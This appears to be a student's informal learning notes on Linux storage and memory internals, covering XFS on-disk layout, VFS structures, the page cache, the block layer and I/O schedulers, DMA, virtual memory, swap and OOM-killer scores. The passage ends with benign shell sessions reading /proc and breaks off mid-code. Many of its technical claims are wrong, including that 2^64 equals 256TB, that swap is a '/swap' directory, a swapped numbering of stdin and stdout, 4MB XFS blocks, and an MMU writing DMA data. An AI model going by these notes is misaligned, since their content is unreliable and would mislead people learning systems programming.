| — — — agfl (allocation group free list )
| — — — free space b+tree
| — — ag inode management
| — — — inode b+tree
| — — — inode chunks
| — — data blocks
| — internal logs (journal)
| — real-time section
starting with the superblocks :
XFS super block (512 bytes at offset or adress 0)
|
| — magic number
| — blocksize
| — sector size
| — agcount
| — agblocks
| — dblocks
| — rblocks
| — inodesize
| — inopblocks
| — inopag
| — rootino
| — blocklog (block logarithm) -> log2(blocksize)
| — inodelog (inode logarithm) -> log2(inodesize)
| — agblklog(allocation group block logarithm) -> log2(allocation group blocksize)
| — fdblocks
| — frextents
| — icount
| — ifree
| — logstart (starting block of the journal)
| — logblocks (size of the journal)
| — flags (bitmap of enable features)
| — bad_features2
| — uuid
| — checksum
magic number is to know wich filesystem is this, all XFS have the same magic number.
for geometrie, the systemfile is laid out or how arranged or divided across sections there is blocksize and sector size, a block may contain 4MB inside it there is 8 sector each sector is 512 bytes .
for each allocation group the super block store how many allocation groups existe, and blocks number for each block. designed for parralel operation already mentionned .
filesystem capacity or total storage, dblocks number of data blocks and rblocks number of real time blocks configuration or setting inodesize and inopblock block can store data or store metadata for a 4MB block, if inodesize is 512 bytes, then each block stores blocksize / inodesize, 4MB / 512bytes = 8 inodes per block. inodepag how many inode in each allocation group. rootino: the inode number that stores the root directory "/".
navigation accelerated, so blocklog | inodelog | agblklog are calculated once stored till the configuration change, make the navigation too fast example: blocksize 4096bytes we want byte 9000, 9000 / 4096 = 2 -> block 2. this is the division way. for logarithmic way: blocksize 4096, blocklog 12 (log2(4096) = 12), we use bit shift 9000 >> 12 = 2 means 9000 = 10001100101000 shift 12 position or add 12 zero to the left and keep it 14bits, gives 2. why ? because division take +10cpu cycles / bitshift tak 1 cycle, in billions of operation a second this is too much fast. same for inodelog and agblocklog .
free space tracking but approximatly not the specifique or right count because it updates periodically not at each allocation, and allocation groups keep the specifique tracking for their own. so fdblocks free data blocks, fextents free extents (ranges), icount allocated inodes, ifree free inodes . note that those are approximate values .
journal metadata, XFS have one journal for the entire filesystem so there is no parralelisme for the journal the operations are writting sequencially, the reason is that the journal is an important index, specially in recovery so if transaction 1: create file a, transaction 2: write to file a. if those were parralel, data can be written in a file that does not exist and journals may assume that transaction 2 is valid while 1 is corrupted . so logstart where does the journal start which inode, because XFS stores journal in a dedicateted place like default, ag0 block1 and block contain many inodes so which inode is the one that the journal starts on. for features there is flags and bad_features2 so flags and bad_features2 are bitmap but the kernel threat it differently if in features a bit or a feature that the kernel does not understand, ignore but mount the disk read only for safety, if there is a bit in badfeature the kernel does not mount the disk. example the compression feature old kernel do not understand compression the disk will be mouted read only . what the 2 in bad_feature refer to ? so there were features in flags, with the time feature added, and also bad_featureswill be added, so 2 means the version fo the fields .
then the metadata integrity uuid generated at mkfs, checksum computed using crc3c ..., and note that there is a backup of the superblock. if superblock currupted non valid checksum the backup will be trated as superblock .
now real time, real time block and normal blocks what is the difference ? so real time blocks are separated and in separated area from normal blocks . because the allocation is not the same, and it s not treated the same. so who decide where to store ? it's the application that tell the kernel to store to real time or normal blocks. when storing to blocks it may store separated block leading to fragmentation, and it s optimized to high troughtput, and the scheduling is little more complexe and variable latency, means that when performing a write to blocks 100 1000 526 2108, there is a queue, not all written in parralel however the kernel order the queue, elevator algorithm which ascending, to prevent back and forth. so the queue will look like 100 526 1000 2108, for real time, there is no fragmentation because the data is preallocated, and need to be sequential one range or not store, and it's optimized for consistente latency, means a same operation should take the same time for every time performed. which is fixed latency, then there is no scheduling because all the data are stored sequentially so it start from the beginning till the end . make the latency predictable .
now moving to ags allocation groups, first the structure :
allocation group
|
| — AG Superblock (copy of primary)
|
| — AGF (allocation group free)
| — — magic number (difference from the superblock's magic number)
| — — free block count
| — — b+tree of free extents by block number
| — — b+tree of free extents by size
| — — free list
|
| — AGI (allocation group inode)
| — — magic number (its own)
| — — free inode count
| — — b+tree of free inodes
| — — — node point to inodes block
| — — inode chunks
| — — — b+tree of all inode chunks
| — — — b+tree of free inode chunks
| — — inode allocation map
|
| — AGFL (allocation group free list)
| — — list of free blocks for b+tree operations
|
| — data blocks
| — — file content
|
| — journal (usually in ag0)
we already mentionned that ag super block is the backup of the filesystem superblock, it's not the ag superblock, then there is the agf allocation group free which contain the magic number named "XAFG" computing the whole structure using crc3c, then free blocks count how many blocks are free in this ag, then therre is the b+tree of free extents which is related to the fourth field free list that reference to AGFL, containing free blocks list not extents or ranges but stores free blocks number, and it s up to thee b+tree, if i want's an extents it will find a range of blocks or a single block, the kernel query the b+tree on what its looking for . so the AGLF stores the free blocks number, so one thing to know the b+tree is not just an alorithm that compute but it stores pointer or references or number of inodes and blocks, we'll see it in the implementation, so it's more like a structure. so when allocating the flow goes like this: check free blocks count, there is space. query the b+tree to the best suitable extent, mark as used remove from b+tree and update the free blocks count. in order to follow and understand it realy, the b+tree is like a prerequisite, so when removing from b+tree, the b+tree need to grow, i mean fill the space that was removed, then it take from the AGLF. because if we query the b+tree free blocks for free blocks it's a deadlock. all the free blocks that the query will return are inside the b+tree. so this is for growing, and shrinking is when merged, so the b+tree node contain metadata for free extents like node a 500 -> 5000, 6245 -> 10000. then there is node B 100 -> 105, we know that the b+tree has 5 entries max for each node. so example node a has three entries, node b has 2 entries. will be merged, let say merged into a. and the node it self is stored inside a block, so the node a will expand, get from the free list preventing deadlock, then the node b will be removed it has not entrie, so the block containing node b will be placed to the free list AGLF .
then it's AGI allocation group inodes that contain magic number, free inodes count, free inode b+tree, inodes chunk b+tree and inode allocation map. so i had many questions like does inodes have emergency list like blocks ? how the allocations goes ? and when inode allocated goes where ? and how to track allocated inode ? when inode is free how it returns to the tree ? so first inode chunks, means the inodes are stored in blocks, so inode chunks link each block with the inodes stored in it like block 50 -> inodes 1 - 16, so b+tree inode chunks store this in nodes . so the allocation goes like this :
create file.txt -> query b+tree free inode, find free inode 54 remove from the tree , query inode chunks b+tree for inode 54 find inode 54 is in block 485. read block 485, write inode metadata to block 51, because the inode already allocating some 512 bytes depend on the configuration. so writting to that block in the sector's byte containing the inode metadata section . update the parent directory content file.txt -> inode 54 and metadata timestamps .
write to file.txt -> query free blocks tree, find free blocks, remove from tree back to free list AGLF, write to blocks. we already know the inode query inode chunks tree, find location where inode stored update metadata now inode point to the block or blocks content is written in and timestamps … metadata related to the file and write it to disk . and INO can also be used for allocation but it's relativly slower than FINO . but for read it's only INO not FINO .
moving to btrfs, but first in order to realy understand btrfs, vfs is a prerequisite that why we'll understand VFS, then btrfs . VFS is not a filesystem but it's part of the kernel that live in kernel/vfs/, an intermediate between the kernel and the filesystem, example multiple filesystem mounted on the same directory "/", not that the directory is mounted in two filesystems, but /dev/sda is XFS mounted, /dev/sdb is ext4 mounted, and the interaction with those two is different, in order for the kernel to not for each filesystem use a different approach and differente code, the VFS handle this, when the kernel want to write, it make the same function to VFS write(), then the VFS identifie which filesystem is this, and use it's needed code and method or implementation. and it's part of the kernel not the filesystem. and it handle this with structure: struct super_block, struct inode ..., and for each filesystem there is structures that match the filesystem structure, the question here is how it identifie which filesystem is this ? we already know, it's the magic number, each filesystem has a magic number shared universally in all same filesystems. for the VFS perspective all inodes are the same across al filesystem because in the end it stores the file's metadata, however in filesystem each filesystem has it s own inode structure. so VFS stores whatever's filesystem in the same structure but retrieve the inode with different methods depending on the structure. update: i did a misake i moved directly to the implementation which made things ambigious, however i ll understand the flow then connec this, architecture, flow, implementaiton so the questions now are :
how a vfs map a path to a mounted filesystem ? more how does it know that /dev/sda is a mounting point ?
when accessing a file for first time with open() it creats a struct dentry a struct that tells if this is a mounting point if yes what is the root inode is it pointing at, and which filesystem is mounted . the specifique structure of a dentry is but before a dentry is cashed till the shutdown errasing memory, open() does not just create a dentry but it opens the file descriptor of that file, and the open() returns an integer along with other metadata, that integer is the index of the fd in the file descriptor table, and the file descriptor is a buffer, like stdout -> 2 stdin -> 1, that file will have an index in the fd table. so close() does not delete or free the struct dentry instead it close the fd . the correct structure of a dentry.
but first the filemeta data are stored depending on the kernel version kernel version means vfs version, old kernels store is like this

struct dentry {
	...
    unsigned int d_hash;
    char* d_name;
    unsigned int len;
    ...
}

while modern kernel has qstr :

struct dentry {
	// name, hash and length
    struct qstr d_name;		// filename "report.txt" along with some metadata
    
    struct inode *d_inode;	// pointer to the inode

    // parent and siblings
    struct dentry d_parent;	// parent directory of this file
    struct list_head d_child; // siblings dentrys in the same directory 
	struct list_head d_subdirs // child or sub dentrys

    // mount
    struct mount *d_mnt;		// if a filesystem is mounted in this dentry point here

    // reference countring
    atomic_t d_count;	// usage counter

    // status flags
    unsigned int d_flags;	// DCACHE_VALID, DCACHE_NEGATIVE, etc

    // operations
    struct dentry_operations *d_op;	// depens on the filesystem

    // caching
    struct hlist_node d_hash; // hash tbale link
	...
}

and the sqtr structure is but first what qstr stand for ? stand for quick string because for a simple name, the kernel should first calculate the length then the hash then strcmp of the name your looking for and the name it found qstr make this faster by storing those metadata :

struct qstr {
	u32 hash;
    u32 len;
    const unsigned char *name;
}

there are some fields that needs attention first one is :
struct mount *d_mnt; // if a filesystem is mounted in this dentry point here
what the struct mount that d_mnt point to contain ? so the actual structure is too large and i ll stick with the important fields because i m not planning to because a vfs developper, so this is it :

struct mount {
    struct mount *mnt_parent;		// parent mount
    struct dentry *mnt_mountpoint;	// where this mount is attached
    struct vfsmount mnt;			// the vfs visible mount
	...
}

so struct mount *mnt_parent, this field contain a pointer to another same mount structure . needed for cases like :

mnt /dev/sda1 /data -t ext4			# creates mount a
mnt /dev/sdb /data/document -t xfs 	# creates mount b

so struct mount *mnt_parent; of the mounting point b, contain the struct mount of the mounting a. even if the fs mounted is differente, we already mentionned that it's normal for vfs to handle multiple fs .
walking to /data/docs, for each opened file by file we also mean directory, a dentry structure is created that live the entire session till the ram is errased (shutdown), the dentry stores the qstr structure that stores filename, hash, length , inode information , other fields… and the mount structure, outside of the dentry a another structure struct path, which is a nested structure, that stores current dentry & current mount, so walking to /data, create dentry the cfs perform a lookup_mount(), search in the vfs mounting table, the mounting table stores key value paires conceptualy

{
	hash [(mounting point parent, '/data'dentry)] = mounting point (structure) child
}

parent or root mointing point is stored inside all dentrys, the vfs first create or walk to the dentry, then perform the lookup_mount(current_dentry, vfs_mounting_table), current dentry is /data dentry containing root or parent mounting point and it's own metadata, compare hashs, returns the the mount structure, now /data is a mounting point, walking to /data/docs, current dentry setted to docs dentry, perform lookup_mount(), case 1: /docs is a mounting point, current mount setted to /docs mount structure, if it's different fs treated differently . case 2: is not a mounting point, current mount is /data mount structure . visualization :

walking /data/docs

1: create "/data" dentry, found in "/" dentry, root dentry
2: check "/data" is a mounting point ?
	lookup_mount(...) -> yes, returns "/data" mount a
3: replace 
	current dentry = "/data" dentry
    current mount = mount a
4: find "/data/docs" dentry inside "/data" dentry
5: check "/data/docs" is a mounting point
	lookup_mount(...) -> no, NULL
6: replace 
	current directory = "/data/docs"
    current mount = mount a

note: check mount is after assigning current dentry. not before . things are too simple .
when read() is called, what is the chain reaction the sequence of functions ?
where does the inode come from ? how the vfs find it and how the filesystem send it or load it ?
and this universal structure is embeeded inside the filesystem custom structures. based on the filesystem details attached to the structure. called i_private (inode_private), example :

struct ext4_inode_info {
	[ext4 specifique fields];
    struct inode vfs_inode;
}

the specifique vfs shared inode struct :

struct inode {
	// file indentification
	unsigned long i_inode;    // inode number unique in a fileystem

    // file metadata
    loff_t i_size;    	// file size in bytes not blocks
    kuid_t i_uid;		// owner
    kguid_t i_gid;		// owner group
	umode_t i_mode;		// permession (rwx) and file type

    
	struct timespec64 i_atime;	// last access time, last time the file was open
	struct timespec64 i_mtime;	// last modification time
	struct timespec64 i_ctime;	// last change time; change != modif we already understand it

    // linking infos
    unsigned int i_nlink;	// number of hard links
    blkcount_t i_blocks;	// number of block used by inode not just data blocks but also metadata, indirect pointers ...
    struct inode_operations *i_op; 		// inode operation, this field is setted by the fs (mkdir, chmod ...)
    struct file_operations *i_fop; 		// file operation, this field is setted by the fs (read, write ...)

	// filesystem references
    struct super_block *i_sb;	// pointer to super block (the owner of the structure)
}

the structure here is very clear, simple and logical .
question here is when the i_op and i_fop are setted ? in mounting operation, fields in inode are the inode common metadata shared across all the filesystems …
for xfs structure, we should first remember and understand some topics . mounting is when plugging linking the filesystem (hard drive), the kernel should interact with the filesystem somewhere, like /mnt/data, but not explicitly /mnt you can point in whatever point . quota we alreadt understand it, it's the limit or the maximum size that a user / group can have. i_imap is the physical adress where the inode is stored. copy on write is for optimization copying a file is creating a hard link, preventing redunduncy, for btrfs is the default behaviour unless specified to copy the actual inode and data, while for xfs nomal copy is the default, for copy on write it should be specified. fork is simple instead of storing all the inode metadata in one field, but store the content metadata like the blocks or the extents where the data are located or stores the actual tree b-tree not normal data or extents in an array, then stores the copy on write metadata like the blocks shared between more than one inode. and attribute fork we already understanded attributes that stores the file's metadata, owner, group, comment …

struct xfs_inode {
	// inode linking and identification
	struct xfs_mount *i_mount;		// mounting point 
    struct xfs_dquot *i_udquot;		// user disk quota
    struct xfs_dquot *i_gdquot;		// group disk quota
	struct xfs_dquot *i_pdquot;		// project disk quota

	// inode location
    xfs_ino_t i_ino;		// inode number
    struct xfs_imap	i_imap;	// location on disk for lookup

    // extents informations
    struct xfs_ifork *i_cowfp;	// copy on write extents
    struct xfs_ifork i_df; 		// data fork (b-tree or extents)
    struct xfs_ifork i_af;		// attributefork

    // transaction & locking
    struct xfs_inode_log_item *i_item;	// logging information
    struct rw_semaphore i_lock; 		// inode lock
    atomic_t i_pincount;				// pin count for I/O
}

for the last three fields, *i_item when writting data or updating a file, first the kernel take the whole file content and put it into memory (ram), then write the modification into the file's ram content, when saving, (after delayallocation … already talk about this), it write the whole file content in the content space in disk, but the fields *i_item is for metadata a pointer to another structure, this structure that contain the fields which fields did changed in the metadata, to log into journal, content is optimized with delayed allocation, while metadata is optimized to not write the whole metadata but only the fields that *i_item track .
second i_lock, when a process, thread, core, a second cpu, wants to access data, first it check it's lock. if it's locked then it unlock it use it, lock it and leave. if another process try to access the data check the lock find it unlocked then it will wait till the first process finished, lock the data then process 2 is called, unlock, use, lock .semaphore is the lock. why not accessing simultaniously ? because if process 1 try to read it, and process 2 modified it, then process 1 wil lread modified data, or the data can be corrupted or ..., then the pin the pin is an important feature attomic number that can be incremented and decremented safly, giving three process 1 2 3, process one arrived pin is 0, process 2 arrived pin is incremented 1, process 3 arrived pin is incremented 2, process one unlock, read, lock, decrement pin = 1, process 2 unlock, try to free check pin != 0, another process is waiting for this data should wait till pin is 0 then free, unlock. process 3 arrived unlock write lock decrement pin = 0, process 2 is called pin is 0, safe free . if process 3 try to write or read a freed data, will lead to unknown behaviour . the question here is what if two processes try to free ? is it a deadlock ? so there is a background logworker process that checks pinning for deadlocks, if deadlock is deteted, force unpinning. now that we coverd vfs layer, we'll jump to page cache and block layer (blk-mq), understand page cache | I/O queue | I/O schedular | vfs operations .
introduction to the fourth topics, so page cache is the buffer that stores files data, obviously, each file has it page cache buffer, I/O queue is the operations queue, submiting whatever operation, the operation is first queued, sorted sometimes merged with I/O schedular algortihms by the vfs, and all those operations are vfs operations .
the four stacks are highly related, when the vfs perform a read(), the request do not goes directly to disk, it will be extremly slow to perform all operations interacting with disk, instead when opening a file, the file content and metadata ..., goes into page cache, a section at an offset, that stores the file, after this all the operations are performed on ram . this makes it faster, when performing an operation that change data or metadata, the data stores in ram are considred dirty, means that it is modified only on ram, not on disk .
when vfs perform an operation on a file, first the kernel checks the page cache, is inode N at offset X present, if yes -> perform the operation on it, if no -> generate an exception page fault, the question here is how does it know that inode is in offset x ? the response is the vma (virtual memory area) . the page fault is handled by the kernel, thats when it reads from disk
a process opens file.txt, note: open not read, because open does not load the file content, it set the metadata needed to interact with the file . open file.txt, file descriptor created already mentionned allow interaction with the file.
so when open file.txt READ a file descriptor is created that belongs to the file along with struct file and struct inode how ? the kernel gives the vfs the metadata stored in the parent directory that maps each filename to it's inode, and struct file that i don't know yet what it's role update : the structure file stores like the session like the content file offset; example the cursor is on line 75 char 30 but as a ram offset like 1126 byte after the first file content adress along the the fd index. what is the role of fd ? the integer is the index in fd table that maps the integer to struct file, then mmap allocate the buffer or space needed for that file with permission on that buffer and create the vma. then performing read file.txt an operation with low or same permission as open, like open write, while open read, kernel can't mmap write, on the page cache, kernel checks page cache, if present execute the operation, if not call vfs with metadata; inode number ..., vfs reads from disk return data, kernel stores to page cache, execute the operation . the vma is the structure that has metadata about that page cache, before performing an operation about that buffer we should know why where and what . this is why struct vma. question here is why there is two cases : page cache present | page cache absent . so we already mentionned that when interacting with a file, metadata along with content is kept temporary in ram . so when performing another operation it may find it or not . data are the same processes are different . so when opening a file, open create a filedescriptor, that file descriptor in the fd table points to struct file, which is also created in open that struct contain the inode struct, and struct file has al lthe metadata about that file such as inode number, that it s taken from the parent directory of that file, and then mmap allocate the buffer page cache or space needed on the virtual memory for that file along with permission on that page cache that should be either low or same as open permissions and set the pointer of that page cache to the struct file, then creates the vma which stores metadata about that buffer such as which file back the buffer, the offset … so when performing an operation on that page cache the kernel should know on what the operation is executing, then the operation example read the page cache kernel checks if that buffer which the struct file is pointing at is already loaded, if yes execute the operation if no call the vfs to read the disk inode number is known, an returns data. then execute the operation . open file.txt READ, the open function return an integer, that integer is the index of file descritor in the fd table, that maps the file to it's struct file, that contain struct inode both are created on open, we already mentionned that the parent directory map each file to it's inode number, so inode number is taken from the parent directory, then mmap which is the function that setts the mapping of the buffer or space or page cache in memory that the will handle the file, and creates the struct vma that contain metadata about that page cache such as the file backing the page cache, the permissions on that page cache that should be low or same as the open permissions and maps the file to it's virtal memory adress. i think that i should make a topic on the virtual memory and physical memory, then an operation like read, that is performed on the file page cache specifiquely on the virtual ram adress, here there are two cases, first is that the virtual ram adress is not assigned to a physical adress, thats when the kernel raise a page fault captured then linked to a physical adress, or the page is already loaded by another prosses already mentionned that the file stay in ram for sometime, to minimize disk operations, then the operation occures with no exception . we'll see the implementation later
jumping to block layer, starting by I/O queue. so early hard drive could make on I/O op at a time, hardware had evolved, with ability to do operations in parralele. and machine support multiple cpus, multiple processes do I/O operations. the kernel should support this advantage, so it should request multiple I/O at a time. that why there are two queues software queue and hardware queue, and both are before the driver with hardware queue as the very last step before the driver .
difference is that software queue is the cpu queue, requests queue while hardware queue is the hard drive's queue, the gate queue . based on what software queue is created ? for each cpu or cpu group a software queue is created. all the I/O ops of that process queued in it's own update: the processes I/O ops are queued in it's executing cpu in the cpu's softawre queue, while hardware queue it depens on the device, if it support 5 ops at a time, 5 hardware queues are created . and the kernel maps one or more software queue to one or more hardware queue in three cases :

software queue 0 --> hardware queue 0
software queue 1 --> hardware queue 1
software queue 2 --> hardware queue 2

or

software queue 0 --| 
software queue 1 --| -> hardware queue 0
software queue 2 __| 

or

                   |---hardware queue 0
software queue 1 --|---hardware queue 0
                   |---hardware queue 2 

I/O scheduling increase fetching data performance and scale, part of block layer sitting between the fs and the block device driver

software queue -> I/O schedul -> hardware queue -> device driver -> storage hardware

, why requests should be scheduled ? if there are no scheduling the requests will be FIFO, whatever request came first will be treated till it ends, this makes things unefficient, a process may wait forever or minutes, instead algorithms are used to re order the queue, not just reorder sometimes merge or batch the request, and scheduling depens on hardware storing device, because each one has it's own hardware queuing approch, there main algorithms mq-deadline, BFQ and kyber or no scheduling, mq-deadline order the queue (software queue) incremently, example giving three requests A B C:

request A -> block 402
request B -> block 386
request C -> block 512

mq-deadline ordering

request B -> block 386
request A -> block 402
request C -> block 512

why incremently ? because in order to travel to block 512 we pass by block 386 and block 402, so the three requests will be merged in one retrieving the data needed .
second is BFQ which is a round robin algorithm that assigns sector budget instead of time slices we queue is FIFO order but each request get a sector limit, example 500 sector, if a request need to fetch 600 sector it will complete it in two cycle, first 500 sector second 100. making it as a circular chain .
third is a new efficient for fast storage device algorithm that works with token, new requests consume token, completed request returns token, and there is a token limit, a visualized example :

max tokens = 300
current requests = 201
available tokens = 101

current requests are consuming 300 - 101 = 199 token, new token can be treated in limit to consume ≠ or < than the available tokens, so it's not about requests instead there is a token rate limit .
or no scheduling used in newer devices that has it's own internal scheduling process, so scheduling in the software level will be a wasted compution a cpu overheading .
after this the device driver takes control, receive the request return another one that says read sector 8000, length 8 sectors, put data in DMA 0x50000000 then raise an interrupt that ends the operation process, here is the twist, the kernel does not receive a response then write it to the memory, instead it receive only interruption to kill the process and it's the device driver that write to memory, and the reason is involve the kernel makes it slower, so how does it do that ? and how does it know the destination adress ? the ram adress is passed with the request but not as a fields, a structure and a function are involved in this, first is scatter-gather struct scatterlist[] which contain multiple scatter-gather , second is dma_map_sg() direct memory adress map scatter-gather, the device driver cannot use the virtual adress because it belongs to the kernel, it uses the physical ram adress, but scatter struct provide only the ram page and the offset, that when the dma_map_sg(), maps the page and offset to a physical ram adress, cpu is not involved in the whole operation it's the mmu ship that does this and the writing to physical ram. not the struct scatterlist[] contain all the page invloved with DMA operations .

struct scatterlist[N] {
	{
    	.page = &page_cache_page;		// ram page
        .offset = x;					// offset after the page adress
        .length = 4096;					// data that need to be writen length
        .dma_adress = 'unknown'
    },
};

this is passed with the request. then driver call dma_map_sg()

int dma_map_sg(
    	struct device *dev;						
        struct scatterlist *sg;					// the scatterlist elemnt
        int nents;								// is how many element in scatterlist
        enum dma_data_direction direction;		// direction
    );

each device is represented, the kernel represent it with a struct device, because each one is treated differently, and have it s own limits, permission ..., *sg is the pointer to the scatter-gather element in scatterlist, nents is not how many element the scatter list can have, not the size of that list, but how many element is present, example the list can support up to 1000 element but only 10 are there, so nents is 10, direction can be three cases.

RAM -> device	enum DMA to device
device -> ram	enum DMA from device
bidirectional	enum DMA_BIDIRECTIONAL

and then the function returns the new scatter-gather number; that need to be = || < than nents . why is that ? because if it find two or more scatter-gather that are sequential, it merge it into one scatterlist entry . example :

entry 0
page 100
length 4096 bytes

entry 3
page 101
length 4096 bytes

those are scatterlist entries, merge it into one entry .

entry 0
page 100
length 8196 bytes

then the dma_map_sg that takes the scatter-gather along with other data, write the physical adress to the structure . and this is how the device write to the ram . then programming the device :

nvme_device->lba = 8192;			// sector to read
nvme_device->dma_addr = 0x5000000;	// put data location
nvme_device->length = 4096;			// data length
nvme_device->start()				// trigger the operation

now we'll jump to virtual memory, this is the big picture, but we'll detail it, step by step. here is another visualization . when allocating a memory space, the allocation does not go directly to the ram, instead it's handled by the kernel that give you a "fake" ram space, the processes use it with a limit of 256TB = 2pow(64), even if your physical ram is 4GB, the processes sees it as a normal ram space, but it's not a space or a buffer, it's a range from adress x to y, maped in a table page_table to a pysical ram adress, then the process use it want to write to it, that when that virtual ram space should have a physical ram space mapped to it . the cpu try to write data to that ram space, if it's new allocated, first use the vma is not mapped yet to pma, cpy try to write, trigger the mmu, the mmu gets the va (virtual adress) . find no mapping . raise a page fault, the error is catched by the kernel, the kernel then allocates the equivalent space in physical ram, if there is no space it moves unused pages to /swap, a fs directory in disk not ram, created in fs creation and can be shrinked or extended after, anyway the kernel moves that ram data to /swap, now if there is free space to allocate the needed space, the kernel allocate it, maps the pa to va in a mmu buffer called TLB (translation lookaside buffer), if there is no physical ram space the kernel checks /swap if spaw + free ram space can contain the needed space, the kernel load data to ram, and start swapping the pages even if it's the same processes, but this operation it too slow because disk is involved and the responsible swapping process is kernel swap deamon KSWAPD?. just to know why some processes are called deamon while other no, running a code it's processes will not be a deamon, deamon process are the background processes, processes that are not the application operation processes, but like a metaprocesses, and called deamon because they are invisible thats why. a question here is how the kernel decide which pages to move to /swap ? it's the LRU (least recently used) and MGLRU (multi generation least recently used), the idea is beautifull, in order to know wich page are accessed recently and which is havn't been used for long ago, maintaining a timestamp is an exhausting approach like each time access the page assign the timestamp, and the kernel should order by timestamps, cpus do billion of operation on pages in a second, for old kernels, it had two lists, recently used, not used for too long, but this is not an efficient way. the two lost are stored in LRU, the scan is performed on all the pages, this is a scaling probleme. latest kernels, for each processe along with present bit, there is accessed bit when accessing that page set that bit to 1. and the kernel check those bit once per a moment . if a process has an upper bit it s recently used, and it knows it, because after comparing it set all the processes access bit to 0, so if a process has an upper bit then it was recently used and stored in MGLRU, which group pages into generations, from 0 to N, the highed the group means recenly used, so scan is performed on the generation (group) not on all the pages. and the swap operations are like this :

need page a -> move page b to swap.
load page a from swap -> store in physical ram and map it to virtual ram.

need page a -> move page b to swap
load page a from swap -> store in physical ram and map it to virtual ram

but how does it know if the page is loaded in ram or swap ? in the page entry in struct page there is bits flag, between it there is present bit, the physical adress is mapped to a virtual adress. the mmu check the entry finds present bit = 0, raise a page fault, kernel catch it load the page from swap to ram. and move unused ram page to swap . present bit = 1, the mmu complete the operation normally .
what if the ram and the swap both are filled ? here depens on the os, windows application may fails to run (allocate memory), programs may crash and warnings that the ram is full . while linux trigger an out of momery killer (oom), that kills one or more processes to free space .
and the struct page_table is not a shared table across all os processes, each processes has it's own page table, maps virtual adress to physical adress, thats why two processes can have same virtual memory adress . but points to differente physical adress .
and the oom killer does not kill a random process, it kill the one that it thinks is applying pressure on the ram, but how does it do it ? with a score algorithm where all processes are evaluated, with it s space using resident set size, number of child processes, and adjustement . wait what adjustement means ? all processes adjusment is stored in the /proc/<pid>/oom_score_adj, that adjustement is computed based on several things, but it s not the processes that takes much or less space that will be killed . but it's important of that processes . a ll run it on my machine .
so i m writting this on zettlr, zotero also for sources and brave to read and studie those sources . we ll use pgrep which is process grep, it a tool that walk trough or scan the os processes starting from systemd, and processes stores pretty much metadata, we can grep it just from it's name .

~ $ pgrep brave
6999
7007
...

here i m opening more than one windows with more than one tabs in each one .

~ $ pgrep zotero
8127
8130

those are zotero processes .

~ $ pgrep zettlr
~ $ pgrep Zettlr
7758
7767
...

note here that names are case sensitive . those are zettlr processes .
we'll choose one process for each application and inspect it's adjustement . not that adjusment range is from -1000 to 1000, te higher the adjustment the more likely to be killed .

~ $ cat /proc/6999/oom_score_adj
100
~ $ cat /proc/8127/oom_score_adj
100
~ $ cat /proc/8130/oom_score_adj
100
~ $ cat /proc/7758/oom_score_adj
100
~ $ cat /proc/7767/oom_score_adj
100

why they all have same adjustement ?

~ $ cat /proc/7767/oom_score
734
~ $ cat /proc/7758/oom_score
736
~ $ cat /proc/8130/oom_score
741
~ $ cat /proc/8127/oom_score
733
~ $ cat /proc/6999/oom_score
733
~ $

while scores are slightly differente, and whats the difference between score and adjustement score ? firs all have same adjusment because it inherit the adjustment from the parent processes, if adjutment is not modified by the application, the adjusment is same, but not for all processes, those are application layer prosseses, killing one of those won't affect nothing. thats why adjusment is relativly high . and oom_score is the calculated score of likelihood killing, it s the score algorithm output, that why it may have different or same oom_score, while adjustment is the importance of that processes, specified by the application itself, like a database is an important processes it adj will be lower. we'll see .

~ $ sudo systemd enable postgres
[sudo] password for donaldbuffer: 
~ $ pgrep postgresql
~ $ pgrep postgres
1949
1971
1972
1973
1974
1975
2021
2022
2023
~ $ cat /proc/1971/oom_score_adj 
0
~ $ cat /proc/2023/oom_score_adj 
0

the adjustement here is 0. much likely to be killed than the application layer's processes . so here we have flexibility. example we are running applications heavy ones, in a limited ram and swap, important application, we ll modify it's oom_score_adj, setting it to a lower score, when oom killer triggred it will ignore our processes . i ll modify zettlr process one of them .

~ $ pgrep Zettlr
7758
7767
7769
7771
7884
7911
7965
8102
~ $ cat /proc/7758/oom_score_adj 
100
~ $ nano /proc/7758/oom_score_adj 
~ $ sudo nano /proc/7758/oom_score_adj 
[sudo] password for donaldbuffer: 
~ $ nano /proc/7758/oom_score_adj 
~ $ cat /proc/7758/oom_score_adj 
-100
~ $ 

can be modified but need sudo privilages . now when an oom killer triggred it will kill application layer processes but the less likely one of them to be killed, is 7758 .
we'll cover more on what concern memory management from userspace perspective, more precise studying the memory from applications and program perspective. a higher level . then going with the kernel perspective .
a visualization of the virtual memory, not that this mapping is not in the physical hardware, its the memory created by the kernel, which stores in physical, the mapping is like this : first it's already mentionned that the virtual memory size is 256TB, so it's divided into two equal parts . a 128TB for kernel space, 128TB for userspace .

Highadress 256TB|----------kernel space (128TB)---------------
                | which is not accessible by the userspace (programs, applications ...)
                | we'll cover it later .
                | ---------userspace (128TB)-------------------
                | stack that grows downward
                | 
                | memory mapping region
                | (mmap and shared librarys)
                | 
                | heap that grows upward
                | 
                | bss (block started by simbol): unintialized data (vars, funcs, ...)
                | 
                | data (initialized data)
                | 
                | text (code) read-only
Low adress 0x0	| ----------------------------------------------

the five section are highly related but each one serve a different purpose.
.text section is the space that the machine code is stored. not source c or assembly code, but the binary executable code . the compiled file .
.bss and .data both stores variable global / local / static, but bss stored the uninitialized variables, variable that are declared without a value, random value variables int a;, while .data stores the initialized variable that a value is assigned to it, in compiling time int b = 10; .
.heap contain the runtime allocated buffers, malloc() and it's equivalents, means the variables that are not declared in the compiling time or int the source code .
.stack is for the execution function and variables, and function are instructures not like variables but a function is a set of instructions performed on variables . execute -> move to stack set and save registers -> finish -> return adress -> save and set registers -> destroy variable . note after executing is set then save, after finish is save then set. we'll cover it later .
then the memory map region which act like heap but each one excel in different objectifs, the heap is for buffers or space that owned by it's process and used for general purpose . normal uses .
while the memory map region is for buffers or space, that are used for operation syscalls . memory mapping or shared memory between processes, example opening and reading variables in general you have full control over that buffer . using heap :

rep_fd = open("report.txt", r);
read(rep_fd);
close(rep_fd);

the kernel creates a file descriptor along with some structures, contain metadata file, already understanding it, the read function, make the kernel retrieve data from storage to it's page cache also already covered, then the kernel copy the page cache content into the heap buffer, then the program can read the file content . no permission on the buffer set, the process own the buffer no mapping except the virtual ro physical memory mapping . using mmap :

rep_fd = open("report.txt", r);
mmap(
	NULL,				// gives you ability to specifie the ram adress to allocate
    file_size,			// file size should be specified usually gotten using another function
    PROT_READ,			// permission over the allocated space, read, write ...
    MAP_SHARED,			// is the buffer private, anonymous, shared ..., variable stat
    rep_fd,				// file's file descriptor
